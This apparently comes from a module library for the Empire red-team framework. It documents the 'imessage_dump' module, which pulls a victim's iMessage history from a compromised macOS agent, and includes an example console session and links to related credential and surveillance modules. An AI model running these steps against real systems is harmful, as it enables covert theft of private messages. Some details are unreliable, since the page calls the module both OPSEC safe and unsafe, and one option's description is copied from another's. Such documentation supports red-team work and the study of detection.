IMessageDump - Empire Module

This page contains detailed information about how to use the python/collection/osx/imessage_dump Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: iMessageDump
Module: python/collection/osx/imessage_dump
Source code [1]: empire/server/modules/python/collection/osx/imessage_dump.yaml
Source code [2]: empire/server/modules/python/collection/osx/imessage_dump.py
MITRE ATT&CK: T1081
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: No

The imessage_dump module will enumerate the entire chat and IMessage SQL Database.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the imessage_dump module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the imessage_dump module:

Agent
Agent to run from.

Debug
Enable a find keyword to search for within the iMessage Database.
Default value: False.

Messages
The number of messages to enumerate from most recent.
Default value: 10.

Additional Module Options

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This is a list of additional options that are supported by the imessage_dump module:

Search
Enable a find keyword to search for within the iMessage Database.

Imessage_dump Example Usage

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Here's an example of how to use the imessage_dump module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/imessage_dump

 Author       Alex Rymdeko-Harvey                                                   
              @Killswitch-GUI                                                       
 Background   False                                                                 
 Comments     Using SQLite3 iMessage has a decent standard to correlate users to    
              messages and isnt encrypted.                                          
 Description  This module will enumerate the entire chat and IMessage SQL Database. 
 Language     python                                                                
 Name         python/collection/osx/imessage_dump                                   
 NeedsAdmin   False                                                                 
 OpsecSafe    True                                                                  
 Techniques   http://attack.mitre.org/techniques/T1081                              


,Record Options----,----------,-------------------------------------,
| Name     | Value | Required | Description                         |
|----------|-------|----------|-------------------------------------|
| Agent    |       | True     | Agent to run from.                  |
|----------|-------|----------|-------------------------------------|
| Debug    | False | True     | Enable a find keyword to search for |
|          |       |          | within the iMessage Database.       |
|----------|-------|----------|-------------------------------------|
| Messages | 10    | True     | The number of messages to enumerate |
|          |       |          | from most recent.                   |
|----------|-------|----------|-------------------------------------|
| Search   |       | False    | Enable a find keyword to search for |
|          |       |          | within the iMessage Database.       |
'----------'-------'----------'-------------------------------------'

(Empire: usemodule/python/collection/osx/imessage_dump) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/imessage_dump) > set Debug False
[*] Set Debug to False
(Empire: usemodule/python/collection/osx/imessage_dump) > set Messages 10
[*] Set Messages to 10
(Empire: usemodule/python/collection/osx/imessage_dump) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

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• Alex Rymdeko-Harvey
• @Killswitch-GUI

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/collection/osx/imessage_dump.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/collection/osx/imessage_dump.py
• http://attack.mitre.org/techniques/T1081

See Also

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Check also the following modules related to this module:

• python/collection/osx/osx_mic_record
• python/collection/osx/sniffer
• python/collection/osx/kerberosdump
• python/collection/osx/keychaindump_chainbreaker
• python/collection/osx/prompt
• python/collection/osx/hashdump
• python/collection/osx/keychaindump_decrypt
• python/collection/osx/browser_dump
• python/collection/osx/pillage_user
• python/collection/osx/webcam
• python/collection/osx/screenshot
• python/collection/osx/keychaindump
• python/collection/osx/search_email
• python/collection/osx/screensaver_alleyoop
• python/collection/osx/native_screenshot_mss
• python/collection/osx/clipboard
• python/collection/osx/keylogger
• python/collection/osx/native_screenshot
• python/collection/linux/hashdump
• powershell/credentials/powerdump
• powershell/credentials/sharpsecdump
• powershell/credentials/mimikatz/lsadump
• powershell/credentials/mimikatz/dcsync_hashdump
• powershell/collection/minidump

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.